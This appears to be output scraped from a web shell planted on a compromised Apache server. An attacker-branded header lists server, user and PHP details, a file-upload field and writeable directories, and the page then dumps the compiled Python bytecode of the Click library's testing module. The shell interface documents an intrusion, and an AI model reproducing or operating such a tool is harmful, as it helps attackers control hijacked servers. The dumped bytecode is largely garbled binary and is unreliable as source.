https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.7/site-packages/click/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.7/site-packages/click/testing.pyc
�
./�_c@s,ddlZddlZddlZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZddl
mZddl
m
Z
er�dd	lmZnddlZdd
l
mZdefd��YZd
�Zdefd��YZdefd��YZdS(i����Ni(t
formatting(ttermui(tutils(t	iteritems(tPY2(tstring_types(tStringIO(t_find_binary_readertEchoingStdincBsVeZd�Zd�Zd�Zdd�Zdd�Zd�Zd�Zd�Z	RS(	cCs||_||_dS(N(t_inputt_output(tselftinputtoutput((s./tmp/pip-install-sTXtzD/click/click/testing.pyt__init__s	cCst|j|�S(N(tgetattrR	(Rtx((s./tmp/pip-install-sTXtzD/click/click/testing.pyt__getattr__scCs|jj|�|S(N(R
twrite(Rtrv((s./tmp/pip-install-sTXtzD/click/click/testing.pyt_echosi����cCs|j|jj|��S(N(RR	tread(Rtn((s./tmp/pip-install-sTXtzD/click/click/testing.pyR#scCs|j|jj|��S(N(RR	treadline(RR((s./tmp/pip-install-sTXtzD/click/click/testing.pyR&scCs)g|jj�D]}|j|�^qS(N(R	t	readlinesR(RR((s./tmp/pip-install-sTXtzD/click/click/testing.pyR)scst�fd��jD��S(Nc3s|]}�j|�VqdS(N(R(t.0R(R(s./tmp/pip-install-sTXtzD/click/click/testing.pys	<genexpr>-s(titerR	(R((Rs./tmp/pip-install-sTXtzD/click/click/testing.pyt__iter__,scCs
t|j�S(N(treprR	(R((s./tmp/pip-install-sTXtzD/click/click/testing.pyt__repr__/s(
t__name__t
__module__RRRRRRRR(((s./tmp/pip-install-sTXtzD/click/click/testing.pyRs					cCs�t|d�rDtr|St|�}|dk	r5|Std��n|dkrYd}n!t|t�sz|j|�}ntr�t|�St	j
|�S(NRs.Could not find binary reader for input stream.t(thasattrRRtNonet	TypeErrort
isinstancetbytestencodeRtiotBytesIO(RtcharsetR((s./tmp/pip-install-sTXtzD/click/click/testing.pytmake_input_stream3s	
tResultcBsPeZdZdd�Zed��Zed��Zed��Zd�Z	RS(s3Holds the captured result of an invoked CLI script.cCs:||_||_||_||_||_||_dS(N(trunnertstdout_byteststderr_bytest	exit_codet	exceptiontexc_info(RR,R-R.R/R0R1((s./tmp/pip-install-sTXtzD/click/click/testing.pyRIs					cCs|jS(s(The (standard) output as unicode string.(tstdout(R((s./tmp/pip-install-sTXtzD/click/click/testing.pyR
YscCs%|jj|jjd�jdd�S(s&The standard output as unicode string.treplaces
s
(R-tdecodeR,R)R3(R((s./tmp/pip-install-sTXtzD/click/click/testing.pyR2^scCsC|jdkrtd��n|jj|jjd�jdd�S(s%The standard error as unicode string.sstderr not separately capturedR3s
s
N(R.R"t
ValueErrorR4R,R)R3(R((s./tmp/pip-install-sTXtzD/click/click/testing.pytstderrescCs1djt|�j|jr*t|j�nd�S(Ns<{} {}>tokay(tformatttypeRR0R(R((s./tmp/pip-install-sTXtzD/click/click/testing.pyRnsN(
RRt__doc__R"RtpropertyR
R2R6R(((s./tmp/pip-install-sTXtzD/click/click/testing.pyR+Fs	t	CliRunnercBs}eZdZddeed�Zd�Zdd�Ze	j
dded��Zdddeed�Ze	j
d��Z
RS(s�The CLI runner provides functionality to invoke a Click command line
    script for unittesting purposes in a isolated environment.  This only
    works in single-threaded systems without any concurrency as it changes the
    global interpreter state.

    :param charset: the character set for the input and output data.  This is
                    UTF-8 by default and should not be changed currently as
                    the reporting to Click only works in Python 2 properly.
    :param env: a dictionary with environment variables for overriding.
    :param echo_stdin: if this is set to `True`, then reading from stdin writes
                       to stdout.  This is useful for showing examples in
                       some circumstances.  Note that regular prompts
                       will automatically echo the input.
    :param mix_stderr: if this is set to `False`, then stdout and stderr are
                       preserved as independent streams.  This is useful for
                       Unix-philosophy apps that have predictable stdout and
                       noisy stderr, such that each may be measured
                       independently
    cCsC|dkrd}n||_|p'i|_||_||_dS(Nsutf-8(R"R)tenvt
echo_stdint
mix_stderr(RR)R=R>R?((s./tmp/pip-install-sTXtzD/click/click/testing.pyR�s			cCs
|jpdS(s�Given a command object it will return the default program name
        for it.  The default is the `name` attribute or ``"root"`` if not
        set.
        troot(tname(Rtcli((s./tmp/pip-install-sTXtzD/click/click/testing.pytget_default_prog_name�scCs)t|j�}|r%|j|�n|S(s8Returns the environment overrides for invoking a script.(tdictR=tupdate(Rt	overridesR((s./tmp/pip-install-sTXtzD/click/click/testing.pytmake_env�sc	#st�|j��tj}tj}tj}tj}dt_|j|�}t	r�t
�}|jrxt�|��n|t_|j
s/t
�}	|	t_q/n�tj�}|jr�t�|��ntj�d|j��tj|d|j�t_|j
s/tj�}	tj|	d|j�t_n|j
rGtjt_n�t_d�fd�}
d�fd�}d�}|�dd�fd�}
tj}tj}tj}tj}|
t_|t_|t_|
t_i}z�xnt|�D]`\}}tjj|�||<|dkrIytj|=WqVtk
rEqVXq�|tj|<q�W||j
oj|	fVWdxXt|�D]J\}}|dkr�ytj|=Wq�tk
r�q�Xq�|tj|<q�W|t_|t_|t_|t_|t_|t_|t_|t_XdS(s�A context manager that sets up the isolation for invoking of a
        command line tool.  This sets up stdin with the given input data
        and `os.environ` with the overrides from the given dictionary.
        This also rebinds some internals in Click to be mocked (like the
        prompt functionality).

        This is automatically done in the :meth:`invoke` method.

        .. versionadded:: 4.0
           The ``color`` parameter was added.

        :param input: the input stream to put into sys.stdin.
        :param env: the environment overrides as dictionary.
        :param color: whether the output should contain color codes. The
                      application can still override this explicitly.
        iPtencodingcsUtjj|pd��j�jd�}tjjdj|��tjj�|S(NR s
s{}
(tsysR2RRtrstripR8tflush(tprompttval(R(s./tmp/pip-install-sTXtzD/click/click/testing.pyt
visible_input�s

cs?tjjdj|pd��tjj��j�jd�S(Ns{}
R s
(RIR2RR8RKRRJ(RL(R(s./tmp/pip-install-sTXtzD/click/click/testing.pythidden_input�s
cSs<tjjd�}|r8tjj|�tjj�n|S(Ni(RItstdinRR2RRK(techotchar((s./tmp/pip-install-sTXtzD/click/click/testing.pyt_getchar�s
cs|dkr�S|S(N(R"(tstreamtcolor(t
default_color(s./tmp/pip-install-sTXtzD/click/click/testing.pytshould_strip_ansi�sN(R*R)RIRPR2R6RtFORCED_WIDTHRGRRR>RR?R'R(t
TextIOWrapperR"Rtvisible_prompt_functhidden_prompt_funcRSRRWRtostenvirontgett	Exception(RRR=RUt	old_stdint
old_stdoutt
old_stderrtold_forced_widthtbytes_outputtbytes_errorRNRORSRWtold_visible_prompt_functold_hidden_prompt_functold__getchar_functold_should_strip_ansitold_envtkeytvalue((RVRs./tmp/pip-install-sTXtzD/click/click/testing.pyt	isolation�s�																							

							cKs�d	}|jd|d|d|���}	d	}
d}t|t�rTtj|�}ny|jd�}Wn tk
r�|j|�}nXz�y#|j	d|p�dd||�Wn�t
k
rB}
tj�}|
j
}|d	kr�d}n|dkr|
}
nt|t�sytjjt|��tjjd�d}qyn7tk
rx}
|s]�n|
}
d}tj�}nXWd	tjj�|	dj�}|jr�d	}n|	dj�}XWd	QXtd
|d|d|d
|d|
d|�S(s;Invokes a command in an isolated environment.  The arguments are
        forwarded directly to the command line script, the `extra` keyword
        arguments are passed to the :meth:`~clickpkg.Command.main` function of
        the command.

        This returns a :class:`Result` object.

        .. versionadded:: 3.0
           The ``catch_exceptions`` parameter was added.

        .. versionchanged:: 3.0
           The result object now has an `exc_info` attribute with the
           traceback if available.

        .. versionadded:: 4.0
           The ``color`` parameter was added.

        :param cli: the command to invoke
        :param args: the arguments to invoke. It may be given as an iterable
                     or a string. When given as string it will be interpreted
                     as a Unix shell command. More details at
                     :func:`shlex.split`.
        :param input: the input data for `sys.stdin`.
        :param env: the environment overrides.
        :param catch_exceptions: Whether to catch any other exceptions than
                                 ``SystemExit``.
        :param extra: the keyword arguments to pass to :meth:`main`.
        :param color: whether the output should contain color codes. The
                      application can still override this explicitly.
        RR=RUit	prog_nametargss
iNR,R-R.R/R0R1((R"RmR$RtshlextsplittpoptKeyErrorRCtmaint
SystemExitRIR1tcodetintR2RtstrR_RKtgetvalueR?R+(RRBRoRR=tcatch_exceptionsRUtextraR1t
outstreamsR0R/RnteR2R6((s./tmp/pip-install-sTXtzD/click/click/testing.pytinvokesT(!
#			
		c	csntj�}tj�}tj|�z	|VWdtj|�ytj|�Wnttfk
rhnXXdS(s�A context manager that creates a temporary folder and changes
        the current working directory to it for isolated filesystem tests.
        N(	R\tgetcwdttempfiletmkdtemptchdirtshutiltrmtreetOSErrortIOError(Rtcwdtt((s./tmp/pip-install-sTXtzD/click/click/testing.pytisolated_filesystemos
	
N(RRR:R"tFalsetTrueRRCRGt
contextlibtcontextmanagerRmR~R�(((s./tmp/pip-install-sTXtzD/click/click/testing.pyR<ts	vU(R�R\RpR�RIR�R RRRt_compatRRRt	cStringIORR'RtobjectRR*R+R<(((s./tmp/pip-install-sTXtzD/click/click/testing.pyt<module>s&	.

https://t.me/AnonymousX5 - 2025